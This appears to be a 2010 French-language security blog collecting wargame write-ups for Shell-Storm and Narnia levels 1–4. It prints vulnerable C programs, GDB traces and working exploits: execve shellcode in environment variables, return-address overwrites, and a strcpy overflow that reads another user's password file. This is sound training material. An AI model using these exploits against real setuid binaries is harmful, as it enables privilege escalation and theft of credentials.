dimanche 29 août 2010

[Wargame] Shell-Storm August 2010

Hi people!

It's been a while, this week-end I was idling a bit on the internet when I saw shell-storm had their wargame started and there was 3h left before ending.

Here, no "tutorial" explaining how to pawn the challenges, just summing up the wargame a bit ;).

I decided to take a look and it was quite fun :).

I managed to go up to level6 in 1h20 and got stuck there.

So about the levels :
- level1 : Simple buffer overflow
- level2 : Same but the input string musn't contain 0xCD or 0x2F
- level3 : Buffer overflow in which the buffer MUST start with precise bytes
- level4 : Cleverly get the thing to print the interesting file
- level5 : It has a small protection checking for some input value before triggering the buffer overflow
- level6 : Simple format string
I let you analyze the other levels source code given by shell-storm ;).

So basically, for all the levels, I used these tools :
- metasploit pattern
- gdb
- python

And importantly, bash didn't set euid so we needed to use a payload that fix it : "bash -p payload".

That's all what was needed :).

Thanks Djo for your wargame, was pretty fun :),

m_101

- Challenges resume and sources : ShellStorm's Wargame 2010

dimanche 1 août 2010

[Wargame] Narnia at intruded.net : Level 4

Bonsoir,

Et c'est parti pour le level4.

Le programme vulnérable :
/*
    This program is free software; you can redistribute it and/or modify
    it under the terms of the GNU General Public License as published by
    the Free Software Foundation; either version 2 of the License, or
    (at your option) any later version.

    This program is distributed in the hope that it will be useful,
    but WITHOUT ANY WARRANTY; without even the implied warranty of
    MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
    GNU General Public License for more details.

    You should have received a copy of the GNU General Public License
    along with this program; if not, write to the Free Software
    Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA  02110-1301  USA
*/

#include <stdio.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <stdlib.h>
#include <string.h>
 
int main(int argc, char **argv){
 
        int  ifd,  ofd;
        char ofile[16] = "/dev/null";
        char ifile[32];
        char buf[32];
 
        if(argc != 2){
                printf("usage, %s file, will send contents of file 2 /dev/null\n",argv[0]);
                exit(-1);
        }
 
        /* open files */
        strcpy(ifile, argv[1]);
        if((ofd = open(ofile,O_RDWR)) < 0 ){
                printf("error opening %s\n", ofile);
                exit(-1);
        }
        if((ifd = open(ifile, O_RDONLY)) < 0 ){
                printf("error opening %s\n", ifile);
                exit(-1);
        }
 
        /* copy from file1 to file2 */
        read(ifd, buf, sizeof(buf)-1);
        write(ofd,buf, sizeof(buf)-1);
        printf("copied contents of %s to a safer place... (%s)\n",ifile,ofile);
 
        /* close 'em */
        close(ifd);
        close(ofd);
 
        exit(1);
}
A première vu, en regardant le code, on se rend vite compte qu'on a un strcpy(), ça pourrait être un buffer overflow.
Il y a ouverture d'un fichier en lecture et en écriture, si les fichiers n'existent pas on quitte le programme. La seule donnée qu'on contrôle est le nom du fichier d'entrée.
Ce n'est pas un simple overflow car si on essaie de re-écrire EIP et EBP, on aura un nom de fichier foireux dû à ifd et ofd (on ne connait pas les numéros de descripteurs de fichiers qui vont leur être attribué). Je suppose qu'il faut overflow dans ofile. On lit le fichier dans /home/level5/.passwd et on écrit dans un /tmp/lvl5pass par exemple. Regardons le code assembleur ;).
Dump of assembler code for function main:
0x080484a4 <main+0>: push   ebp
0x080484a5 <main+1>: mov    ebp,esp
0x080484a7 <main+3>: push   edi
0x080484a8 <main+4>: sub    esp,0x74
0x080484ab <main+7>: and    esp,0xfffffff0
0x080484ae <main+10>: mov    eax,0x0
0x080484b3 <main+15>: add    eax,0xf
0x080484b6 <main+18>: add    eax,0xf
0x080484b9 <main+21>: shr    eax,0x4
0x080484bc <main+24>: shl    eax,0x4
0x080484bf <main+27>: sub    esp,eax
0x080484c1 <main+29>: mov    eax,ds:0x8048708
0x080484c6 <main+34>: mov    DWORD PTR [ebp-40],eax
0x080484c9 <main+37>: mov    eax,ds:0x804870c
0x080484ce <main+42>: mov    DWORD PTR [ebp-36],eax
0x080484d1 <main+45>: movzx  eax,WORD PTR ds:0x8048710
0x080484d8 <main+52>: mov    WORD PTR [ebp-32],ax
0x080484dc <main+56>: lea    edi,[ebp-30]
0x080484df <main+59>: cld    
0x080484e0 <main+60>: mov    ecx,0x6
0x080484e5 <main+65>: mov    al,0x0
0x080484e7 <main+67>: rep stos BYTE PTR es:[edi],al
0x080484e9 <main+69>: cmp    DWORD PTR [ebp+8],0x2
0x080484ed <main+73>: je     0x8048510 <main+108>
0x080484ef <main+75>: mov    eax,DWORD PTR [ebp+12]
0x080484f2 <main+78>: mov    eax,DWORD PTR [eax]
0x080484f4 <main+80>: mov    DWORD PTR [esp+4],eax
0x080484f8 <main+84>: mov    DWORD PTR [esp],0x8048718
0x080484ff <main+91>: call   0x8048384 <printf@plt>
0x08048504 <main+96>: mov    DWORD PTR [esp],0xffffffff
0x0804850b <main+103>: call   0x80483a4 <exit@plt>
0x08048510 <main+108>: mov    eax,DWORD PTR [ebp+12]
0x08048513 <main+111>: add    eax,0x4
0x08048516 <main+114>: mov    eax,DWORD PTR [eax]
0x08048518 <main+116>: mov    DWORD PTR [esp+4],eax
0x0804851c <main+120>: lea    eax,[ebp-72]
0x0804851f <main+123>: mov    DWORD PTR [esp],eax
0x08048522 <main+126>: call   0x80483d4 <strcpy@plt>
0x08048527 <main+131>: mov    DWORD PTR [esp+4],0x2
0x0804852f <main+139>: lea    eax,[ebp-40]
0x08048532 <main+142>: mov    DWORD PTR [esp],eax
0x08048535 <main+145>: call   0x8048394 <open@plt>
0x0804853a <main+150>: mov    DWORD PTR [ebp-16],eax
0x0804853d <main+153>: cmp    DWORD PTR [ebp-16],0x0
0x08048541 <main+157>: jns    0x8048562 <main+190>
0x08048543 <main+159>: lea    eax,[ebp-40]
0x08048546 <main+162>: mov    DWORD PTR [esp+4],eax
0x0804854a <main+166>: mov    DWORD PTR [esp],0x8048750
0x08048551 <main+173>: call   0x8048384 <printf@plt>
0x08048556 <main+178>: mov    DWORD PTR [esp],0xffffffff
0x0804855d <main+185>: call   0x80483a4 <exit@plt>
0x08048562 <main+190>: mov    DWORD PTR [esp+4],0x0
0x0804856a <main+198>: lea    eax,[ebp-72]
0x0804856d <main+201>: mov    DWORD PTR [esp],eax
0x08048570 <main+204>: call   0x8048394 <open@plt>
0x08048575 <main+209>: mov    DWORD PTR [ebp-12],eax
0x08048578 <main+212>: cmp    DWORD PTR [ebp-12],0x0
0x0804857c <main+216>: jns    0x804859d <main+249>
0x0804857e <main+218>: lea    eax,[ebp-72]
0x08048581 <main+221>: mov    DWORD PTR [esp+4],eax
0x08048585 <main+225>: mov    DWORD PTR [esp],0x8048750
0x0804858c <main+232>: call   0x8048384 <printf@plt>
0x08048591 <main+237>: mov    DWORD PTR [esp],0xffffffff
0x08048598 <main+244>: call   0x80483a4 <exit@plt>
0x0804859d <main+249>: mov    DWORD PTR [esp+8],0x1f
0x080485a5 <main+257>: lea    eax,[ebp-104]
0x080485a8 <main+260>: mov    DWORD PTR [esp+4],eax
0x080485ac <main+264>: mov    eax,DWORD PTR [ebp-12]
0x080485af <main+267>: mov    DWORD PTR [esp],eax
0x080485b2 <main+270>: call   0x80483b4 <read@plt>
0x080485b7 <main+275>: mov    DWORD PTR [esp+8],0x1f
0x080485bf <main+283>: lea    eax,[ebp-104]
0x080485c2 <main+286>: mov    DWORD PTR [esp+4],eax
0x080485c6 <main+290>: mov    eax,DWORD PTR [ebp-16]
0x080485c9 <main+293>: mov    DWORD PTR [esp],eax
0x080485cc <main+296>: call   0x8048354 <write@plt>
0x080485d1 <main+301>: lea    eax,[ebp-40]
0x080485d4 <main+304>: mov    DWORD PTR [esp+8],eax
0x080485d8 <main+308>: lea    eax,[ebp-72]
0x080485db <main+311>: mov    DWORD PTR [esp+4],eax
0x080485df <main+315>: mov    DWORD PTR [esp],0x8048764
0x080485e6 <main+322>: call   0x8048384 <printf@plt>
0x080485eb <main+327>: mov    eax,DWORD PTR [ebp-12]
0x080485ee <main+330>: mov    DWORD PTR [esp],eax
0x080485f1 <main+333>: call   0x8048364 <close@plt>
0x080485f6 <main+338>: mov    eax,DWORD PTR [ebp-16]
0x080485f9 <main+341>: mov    DWORD PTR [esp],eax
0x080485fc <main+344>: call   0x8048364 <close@plt>
0x08048601 <main+349>: mov    DWORD PTR [esp],0x1
0x08048608 <main+356>: call   0x80483a4 <exit@plt>
0x0804860d <main+361>: nop    
0x0804860e <main+362>: nop    
0x0804860f <main+363>: nop    
End of assembler dump.

Grâce aux offsets on peut reconstruire la stack frame : stack frame :
[ebp+4] ret
[ebp] sfp
[ebp-4] arg2
[ebp-8] arg1
[ebp-12] ifd
[ebp-16] ofd
[ebp-24] ofile
...
[ebp-40] ofile
[ebp-44] ifile
...
[ebp-72] ifile
[ebp-76] buf
...
[ebp-104] buf

Taille de la zone locale : 116 octets.

L'analyse du code assembleur nous confirme bien notre hypothèse. Reste à crafter la string d'attaque ;). Sous les Unixoides, nous savons que les seuls caractères prohibés dans les noms de fichiers sont / ou NULL mais beaucoup de caractères non imprimables "ne passent pas" en console. Toute la chaine va donc forcément devoir représenter le nom de fichier d'input et une partie correspondra à celle d'output.

Voilà donc mon attaque : 
mkdir -p /tmp/aaaaaaaaaaaaaaaaaaaaaaaaaaa/tmp/
ln -s /home/level5/.passwd /tmp/aaaaaaaaaaaaaaaaaaaaaaaaaaa/tmp/lvl5pass
touch /tmp/lvl5pass
chmod 777 /tmp/lvl5pass
/wargame/level4 /tmp/aaaaaaaaaaaaaaaaaaaaaaaaaaa/tmp/lvl5pass
cat /tmp/lvl5pass

Et voilà il nous reste plus qu'à récupérer le mot de passe du level 5 dans notre fichier ;).
On aurait pu éviter le symlink mais j'ai trouvé ça plus pratique, surtout si on veut lire un autre fichier :p.

Le détail du buffer d'attaque :
ifile = /tmp/aaaaaaaaaaaaaaaaaaaaaaaaaaa/tmp/lvl5pass
-> fichier réellement lu : /home/level5/.passwd
ofile = /tmp/lvl5pass

Conclusion

Evitez strcpy() comme la peste à moins que vous savez ce que vous faites et vérifiez les permissions des fichiers ;). Comme quoi ne croyez pas qu'un buffer overflow sert uniquement à "owner" l'EIP ;). Ca peut parfois servir à de  l'information leakage et autres joyeuseries.

Sur ce,

A un prochain article ;),

Have phun,

m_101

[Wargame] Narnia at intruded.net : Level 3

Et hop le level 3 :).

Le programme vulnérable :
/*
    This program is free software; you can redistribute it and/or modify
    it under the terms of the GNU General Public License as published by
    the Free Software Foundation; either version 2 of the License, or
    (at your option) any later version.

    This program is distributed in the hope that it will be useful,
    but WITHOUT ANY WARRANTY; without even the implied warranty of
    MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
    GNU General Public License for more details.

    You should have received a copy of the GNU General Public License
    along with this program; if not, write to the Free Software
    Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA  02110-1301  USA
*/

#include <stdio.h>
#include <stdlib.h>
#include <string.h>

int main(int argc, char * argv[]){
        char buf[128];

        if(argc == 1){
                printf("Usage: %s argument\n", argv[0]);
                exit(1);
        }
        seteuid(1004);
        strcpy(buf,argv[1]);
        printf("%s", buf);

        return 0;
}

Ok, un bof tout ce qu'il y a de plus classique dans les wargames.
Rien de particulier dans le code assembleur si ce n'est l'habituel calcul d'offset sous GDB.
Si vous voulez plus de détails sur cette méthode, je vous invite à aller voir les liens en bas.

La méthode rapide :
On génére notre pattern avec metasploit :
votrepseudo@votremachine $ msf/tools/pattern_create 140
Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae
level5@narnia:~$ gdb /wargame/level3
GNU gdb 6.4.90-debian
Copyright (C) 2006 Free Software Foundation, Inc.
GDB is free software, covered by the GNU General Public License, and you are
welcome to change it and/or distribute copies of it under certain conditions.
Type "show copying" to see the conditions.
There is absolutely no warranty for GDB.  Type "show warranty" for details.
This GDB was configured as "i486-linux-gnu"...Using host libthread_db library "/lib/tls/i686/cmov/libthread_db.so.1".

(gdb) r Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2A
Starting program: /wargame/level3 Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2A
Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2A
Program exited normally.
(gdb) r Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae
Starting program: /wargame/level3 Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae

Program received signal SIGILL, Illegal instruction.
0xb7ec7e00 in __libc_start_main () from /lib/tls/i686/cmov/libc.so.6
(gdb) i r
eax            0x0 0
ecx            0xb7fe0434 -1208089548
edx            0xb7fe1448 -1208085432
ebx            0xb7fdfff4 -1208090636
esp            0xbffff9c0 0xbffff9c0
ebp            0x65413565 0x65413565
esi            0x0 0
edi            0xb8000cc0 -1207956288
eip            0xb7ec7e00 0xb7ec7e00 <__libc_start_main+32>
eflags         0x10282 [ SF IF RF ]
cs             0x73 115
ss             0x7b 123
ds             0x7b 123
es             0x7b 123
fs             0x0 0
gs             0x33 51

Ok on a re-écrit ebp avec "e5Ae".

On cherche l'offset de ce pattern avec metasploit toujours :
msf/tools/pattern_offset e5Ae
136

Donc au bouts de 136 bytes on écrit EBP, EIP est donc re-écrit au bout de 140 octets.

On va utiliser la méthode des variables d'environnement, ça a pas mal d'avantages :
- taille de payload illimitée (pratiquement)
- on perd moins de temps à digguer dans GDB (ou vous pouvez aussi écrire un sploit enfin bon)
- ...

Donc notre petit helper getenv :
// @author  : m_101
// @licence : beerware
#include <stdlib.h>

int main (int argc, char *argv[]) {
        char *addr;

        if(argc < 2) {
                printf("Usage:\n%s <environment variable name>\n", argv[0]);
                exit(0);
        }

        addr = getenv(argv[1]);

        if (addr == NULL)
                printf ("The environment variable %s doesn't exist.\n", argv[1]);
        else
                printf ("%s is located at %p\n", argv[1], addr);

        return 0;
}

Maintenant let's sploit!
level3@narnia:~$ export SC=`python -c 'print "\x90" * 128 + "\xb0\x0b\x99\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x52\x53\x89\xe1\xcd\x80"'`
level3@narnia:~$ /tmp/getenv SC
SC is located at 0xbffffe94
/wargame/level3 `python -c 'print "A" * 140 + "\x94\xfe\xff\xbf"'`

Have fun ;).

m_101

[Wargame] Narnia at intruded.net : Level 2

On passe donc au level 2 ... quelle ne fut pas ma surprise ...

Le programme vulnérable :
/*
    This program is free software; you can redistribute it and/or modify
    it under the terms of the GNU General Public License as published by
    the Free Software Foundation; either version 2 of the License, or
    (at your option) any later version.

    This program is distributed in the hope that it will be useful,
    but WITHOUT ANY WARRANTY; without even the implied warranty of
    MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
    GNU General Public License for more details.

    You should have received a copy of the GNU General Public License
    along with this program; if not, write to the Free Software
    Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA  02110-1301  USA
*/
#include <stdio.h>
#include <stdlib.h>

int main(){
        int (*ret)();

        if((ret=getenv("EGG"))==NULL){    
                printf("Give me something to execute at the env-variable EGG\n");
                exit(1);
        }

        printf("Trying to execute EGG!\n");
        seteuid(1003);

        ret();

        return 0;
}


Oui donc bon là c'est quand même assez clair, j'ai rien à "expliquer".

Le sploit :
export EGG=`python -c 'print "\x90" * 128 +  "\x31\xc0\x50\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x99\x52\x53\x89\xe1\xb0\x0b\xcd\x80"'`


m_101

[Wargame] Narnia at intruded.net : Level 1

Bonsoir!

Aujourd'hui j'ai eu l'occasion de jouer un peu aux wargame de www.intruded.net.
J'ai donc un peu toucher à Narnia et Behemoth ;).
Je vous présente donc ma solution pour le level1 de Narnia.

Le programme vulnérable :
/*
    This program is free software; you can redistribute it and/or modify
    it under the terms of the GNU General Public License as published by
    the Free Software Foundation; either version 2 of the License, or
    (at your option) any later version.

    This program is distributed in the hope that it will be useful,
    but WITHOUT ANY WARRANTY; without even the implied warranty of
    MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
    GNU General Public License for more details.

    You should have received a copy of the GNU General Public License
    along with this program; if not, write to the Free Software
    Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA  02110-1301  USA
*/

#include <stdio.h>
#include <stdlib.h>

int main(){
        long val=0x41414141;
        char buf[20];

        printf("Correct val's value from 0x41414141 -> 0xdeadbeef!\n");
        printf("Here is your chance: ");
        scanf("%24s",&buf);

        printf("buf: %s\n",buf);
        printf("val: 0x%08x\n",val);

        if(val==0xdeadbeef){
                seteuid(1002);
                system("/bin/sh");
        } else {
                printf("WAY OFF!!!!\n");
                exit(1);
        }

        return 0;
}

Ce programme attend une entrée de 24 caractères (je vous dé-conseille vivement
d'utiliser scanf() pour vos entrées ... difficilement maitrisable au niveau de
l'input filtering).

Il faut savoir que scanf() et d'autres fonctions de la bibliothèques standard
prennent leur input dans un buffer, ici en occurrence le buffer d'entrée standard.
J'ai donc utilisé les pipes car bien plus utile pour rentrer des caractères non imprimables
tels que ceux utilisés pour 0xdeadbeef.

Le sploit :
(python -c 'print "A" * 20 + "\xef\xbe\xad\xde"' ; cat) | /wargame/level1

Le cat à la fin sert à éviter que le shell quitte et redonne la main au prompt.

Passons maintenant au level2 ;)

m_101

- link : <a href="http://www.intruded.net/narnia.html">Narnia</a>
- link : <a href="http://www.intruded.net/wglist.html">Wargames intruded</a>